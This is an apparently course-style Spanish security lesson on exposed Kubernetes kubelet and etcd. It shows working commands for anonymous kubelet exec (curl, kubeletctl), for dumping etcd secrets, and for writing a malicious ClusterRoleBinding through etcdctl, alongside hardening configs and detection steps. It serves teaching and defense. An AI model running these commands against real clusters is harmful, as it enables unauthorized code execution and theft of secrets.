Kubelet y etcd expuestos: cuando el plano de control no tiene puerta
· 10 min de lectura
Dos vectores menos conocidos pero devastadores en Kubernetes: kubelet (puertos 10250/10255) con autenticación anónima y etcd (puerto 2379) sin TLS mutuo. Aprende cómo se detectan, se explotan y se cierran.
Un cluster Kubernetes expone, además del API server que todo el mundo conoce, dos componentes mucho menos vigilados pero con el mismo potencial para comprometer el plano de control: el kubelet (el agente que corre en cada nodo y ejecuta pods) y etcd (la base de datos donde Kubernetes guarda todo el estado del cluster, incluidos los secretos). Un kubelet accesible sin autenticación en el puerto 10250 permite ejecutar código en cualquier pod del nodo. Un etcd expuesto en el puerto 2379 sin TLS mutuo devuelve el cluster completo, secretos incluidos, en un solo etcdctl get /.
Estas dos superficies no son bugs de Kubernetes: son parámetros de configuración que se endurecen en instalaciones modernas (kubeadm, GKE, EKS, AKS) y que siguen apareciendo en instalaciones self-hosted, clusters desplegados «rápido» para pruebas que terminan en producción, y setups old-school con documentación obsoleta. Esta lección cubre los dos vectores, su detección activa y pasiva, y la configuración correcta.
Es la continuación directa de la lección anterior sobre RBAC. Mientras RBAC asume que atacas vía API server con credenciales válidas, aquí atacamos sin credenciales vía componentes internos mal expuestos.
Practica solo en clusters propios o laboratorios autorizados. Acceder a kubelet o etcd de un cluster ajeno sin permiso es acceso no autorizado y delito.
Los dos planos#

- Kubelet: proceso en cada nodo (control plane y worker). Habla con el API server; recibe especificaciones de pods, los ejecuta vía containerd/runc, reporta estado. Expone una API HTTPS en el puerto 10250 para lectura de métricas, exec, logs, port-forward. Antiguamente servía además una API anónima HTTP en 10255 (deshabilitada por defecto desde hace años, pero sigue apareciendo).
- etcd: la base de datos del cluster. Guarda todos los recursos: pods, deployments, services, secrets, configmaps, policies, RBAC. Escucha en 2379/TCP para clientes y 2380/TCP para peering entre nodos etcd.
En una instalación correcta, kubelet requiere autenticación por token o certificado, y etcd requiere TLS mutuo con certificados que solo el API server posee. En instalaciones descuidadas, ambas puertas pueden quedar abiertas.
Kubelet 10255 (HTTP read-only)#
Antigua pero sigue viva en algunos cluster viejos. Si está habilitada:
curl -s http://nodo:10255/pods | jq
curl -s http://nodo:10255/metrics | head
Obtienes la lista completa de pods en el nodo con sus specs, incluidos env, imágenes, mounts. Suele revelar credenciales en env (anti-pattern pero clásico).
Kubelet 10250 (HTTPS con auth)#
El importante. Si está autenticado con webhook y la policy está bien, los requests sin token devuelven 401. Pero si el flag --anonymous-auth=true está activo (default histórico) y --authorization-mode=AlwaysAllow (otro default histórico), cualquiera puede:
# Listar pods en el nodo
curl -sk https://nodo:10250/pods | jq '.items[].metadata.name'
# Logs de un pod
curl -sk "https://nodo:10250/containerLogs/<ns>/<pod>/<container>"
# Exec en el pod
curl -sk -X POST \
"https://nodo:10250/exec/<ns>/<pod>/<container>?command=sh&command=-c&command=id&input=1&output=1&tty=1"
El endpoint /exec/ requiere upgrade a WebSocket y es más fácil con kubeletctl:
# Herramienta canónica
./kubeletctl -i --server nodo pods
./kubeletctl -i --server nodo exec "id" -n default -p webapp -c app
Con kubeletctl exec en un pod del namespace kube-system, por ejemplo kube-apiserver, puedes leer el archivo de configuración con todos los certificados y credenciales. Juego terminado.
Comprobar si estás expuesto#
nmap -p 10250,10255,2379 <nodos>
# O desde dentro del cluster
curl -sk https://nodo:10250/healthz
curl -s http://nodo:10255/healthz
Los defaults modernos (kubeadm post-2019, managed services) traen --anonymous-auth=false y webhook mode. Pero clusters old-school o RKE1 pueden seguir vulnerables.
etcd 2379#
Si etcd está expuesto sin TLS mutuo (--client-cert-auth=false), es cluster-admin inmediato sin autenticación:
export ETCDCTL_API=3
# Comprobación básica
etcdctl --endpoints=https://control-plane:2379 endpoint health
# Volcar TODO
etcdctl --endpoints=https://control-plane:2379 get / --prefix --keys-only
# Volcar secretos
etcdctl --endpoints=https://control-plane:2379 \
get /registry/secrets/default/mysecret -w json | jq
El contenido de secretos en etcd está codificado base64 pero no cifrado salvo que se haya configurado EncryptionConfiguration explícitamente. Un dump de etcd te da access keys AWS, tokens de SA, credenciales de BD, cualquier secreto del cluster.
Peor aún: escritura#
Con escritura en etcd puedes modificar directamente objetos del cluster saltándote todas las admission controls:
etcdctl --endpoints=https://control-plane:2379 \
put /registry/clusterrolebindings/evil \
"$(cat clusterrolebinding-admin.json)"
Creas un ClusterRoleBinding directamente en la base, el API server lo sirve como si fuera legítimo. Es el equivalente a escribir en /etc/passwd directamente sin pasar por useradd.
Herramientas#

- kubeletctl: swiss army knife del kubelet. Enumera, exec, logs.
- etcdctl: cliente oficial de etcd. Con permisos de cliente, control total.
- kube-hunter: escaneo activo busca endpoints kubelet, etcd, dashboard.
- peirates: integra ambos; si detecta kubelet anon o etcd open, lanza payloads.
- kubectl debug con imagen propia: cuando ya tienes acceso, levantar un pod de debug ayuda a enumerar más.
Flujo típico desde fuera del cluster:
# Descubrir API/kubelet/etcd en la red
nmap -p 6443,10250,10255,2379,2380,8443 <cidr>
# Testear kubelet anónimo
./kubeletctl scan rce --cidr <cidr>
# Testear etcd
etcdctl --endpoints=https://<ip>:2379 endpoint health
Si cualquiera de los dos responde, eres parte del plano de control sin credenciales.
Defensa: cómo cerrar estas puertas#
kubelet#
# En /var/lib/kubelet/config.yaml o equivalente
authentication:
anonymous:
enabled: false
webhook:
enabled: true
x509:
clientCAFile: /etc/kubernetes/pki/ca.crt
authorization:
mode: Webhook
readOnlyPort: 0
anonymous.enabled: false: sin token, 401.authorization.mode: Webhook: cada acceso pregunta al API server.readOnlyPort: 0: deshabilita 10255.
En managed clusters estos flags están por defecto bien; en self-hosted hay que verificarlo cada vez que actualizas.
etcd#
# etcd flags
--client-cert-auth=true
--peer-client-cert-auth=true
--cert-file=/etc/kubernetes/pki/etcd/server.crt
--key-file=/etc/kubernetes/pki/etcd/server.key
--trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
--listen-client-urls=https://127.0.0.1:2379,https://<nodo>:2379
Clave: nunca escuchar en 0.0.0.0. Solo en interfaces internas del control plane. Y TLS mutuo obligatorio.
Además:
- EncryptionConfiguration: cifra secretos en etcd con AES-GCM + KMS (AWS KMS, GCP KMS, HashiCorp Vault). Imprescindible para producción.
- Backups cifrados y rotación de llaves.
- NetworkPolicy para que solo el API server pueda hablar con etcd.
- Firewall de host que bloquee 2379/2380 desde fuera del plano.
Resumen comparado de puertos#
Para tenerlo en la cabeza en el próximo pentest cloud:
| Puerto | Componente | Riesgo si abierto sin auth |
|---|---|---|
| 6443 | API server | Fuerza bruta de tokens, enumerar recursos |
| 2379 | etcd clientes | Cluster-admin inmediato; lectura y escritura |
| 2380 | etcd peering | Añadir nodo etcd falso, man-in-the-middle del plano |
| 10250 | kubelet HTTPS | exec en cualquier pod del nodo |
| 10255 | kubelet HTTP RO | Enumeración y env con secretos |
| 10256 | kube-proxy | Menos crítico, info local |
| 10257 | controller-manager | Métricas, poca superficie |
| 10259 | scheduler | Métricas, poca superficie |
| 8443 | kubernetes-dashboard | Si expuesto + sa privilegiada: cluster |
Caso Tesla 2018#
Un recordatorio de por qué estas lecciones existen. En 2018 RedLock publicó una investigación sobre una cuenta AWS de Tesla comprometida. ¿La puerta? Un Kubernetes Dashboard sin autenticación accesible desde Internet. Los atacantes:
- Encontraron el dashboard expuesto.
- Listaron pods y leyeron variables de entorno.
- Encontraron credenciales AWS en un pod.
- Entraron en la cuenta AWS de Tesla y desplegaron mineros de criptomonedas en varias instancias EC2.
El caso es famoso porque mezcla las tres lecciones del bloque cloud en una historia real: cluster expuesto → pod → credenciales cloud → escalada. Cada eslabón se habría roto con configuraciones estándar modernas (Dashboard tras autenticación, secretos fuera de env, boundaries IAM). Ninguno lo estaba.
Errores comunes del defensor#
- Usar kubeadm antiguo (< 1.14) sin revisar flags de kubelet.
- Exponer 10250 al público «por conveniencia de monitoring».
- Configurar etcd en
0.0.0.0:2379para debugging y olvidarlo. - No cifrar secretos en etcd (EncryptionConfiguration ausente).
- Backups de etcd en buckets S3 públicos (volvemos a la primera lección del bloque).
- No separar etcd del control plane: compartir host con kubelet aumenta la superficie.
Preguntas frecuentes#
¿Los managed Kubernetes están afectados?#
EKS, GKE, AKS gestionan el control plane; no puedes tocar etcd ni el kubelet del control plane. Los nodos de worker sí los gestionas tú: su kubelet debe estar bien configurado. Los managed services traen los defaults seguros.
¿Kubelet 10250 autenticado con webhook es seguro?#
Sí, si la política RBAC del SA no concede verbos sobre nodes o pods/exec sobre nodes. Pero un SA con pods/exec cluster-wide es tan potente como el propio kubelet.
¿Kubelet secreto con --authorization-mode=AlwaysAllow sigue siendo común?#
Menos, pero aparece en clusters que llevan años sin recrearse y en instalaciones a medida (RKE1, k3s mal configurado, Rancher old).
¿Qué pasa con kubelet-ca rotation?#
Si el nodo pierde su certificado durante una rotación mal hecha, cae en modo degradado y puede abrir la puerta anónima temporalmente. Vale la pena monitorizar la rotación.
¿Dónde practico?#
El laboratorio database de whoami-labs incluye un clúster Kind con kubelet anónimo intencionadamente habilitado y etcd escuchando en 2379 sin TLS mutuo. Replicas el flujo nmap → kubeletctl scan → exec en pod del kube-system → cluster-admin, y la variante etcdctl para volcar secretos.
¿Un kubelet en la red interna del cluster es seguro?#
Si solo acepta tráfico de interfaces internas y requiere auth webhook, sí. Pero cualquier pod comprometido en el cluster puede hablar con el kubelet del nodo donde corre y, dependiendo de los flags, con el de nodos vecinos. Por eso NetworkPolicy que restrinja el egress de los pods hacia el puerto 10250 es una capa defensiva valiosa aunque parezca excesiva en una primera lectura.
¿etcd en producción puede migrarse a TLS mutuo sin downtime?#
Sí, con rolling update de certificados y configuración gradual. kubeadm lo gestiona automáticamente en upgrades; en etcd self-hosted hay que hacerlo con cuidado para evitar partir el cluster. Los proveedores managed lo hacen sin que el operador se entere.
¿Qué pasa si el EncryptionConfiguration falla?#
Los secretos que estaban cifrados dejan de poder leerse: el API server devuelve 500 en lectura. Por eso se diseña con KMS redundante y se prueban las rotaciones de clave en no-producción primero. La alternativa (no cifrar) sigue siendo peor: cualquier atacante con acceso a etcd o a un backup se lleva todos los secretos en texto plano.
¿Los operadores de GitOps como Argo CD necesitan acceso a etcd?#
No. Argo habla con el API server. Si ves acceso directo a etcd configurado en algún operator, es casi siempre una fuga de configuración o un design error; audítalo inmediatamente.
¿Hay ataques de denegación de servicio específicos contra etcd?#
Sí: enviar escrituras masivas sin autorización sobrecarga la base y puede bloquear el plano. Es una razón más para TLS mutuo y para rate-limiting a nivel de red. Los managed services lo mitigan de serie; en self-hosted es tarea del operador.
¿Qué registro revisar si sospecho acceso no autorizado?#
El audit log de Kubernetes, configurado con --audit-policy-file y destino en un volumen externo. Allí quedan todas las llamadas al API; combinado con logs del kubelet y del etcd (si se activa su propio log), tienes trazabilidad completa. En managed services el audit log se exporta a los servicios de logging del proveedor (CloudWatch, Cloud Logging, Log Analytics).
Resumen#
- Kubelet 10250 autenticación anónima + authorization AlwaysAllow = exec en cualquier pod del nodo sin credenciales.
- Kubelet 10255 HTTP read-only, obsoleto pero vivo en clusters viejos: lista pods, metrics, env con secretos.
- etcd 2379 sin TLS mutuo = cluster-admin instantáneo, lectura y escritura de todo el estado, secretos incluidos.
- Herramientas: kubeletctl, etcdctl, kube-hunter, peirates.
- Defensa:
--anonymous-auth=false,--authorization-mode=Webhook, `read etcd con TLS mutuo y en loopback, EncryptionConfiguration para secretos. - Managed Kubernetes trae defaults seguros; self-hosted hay que revisar cada upgrade.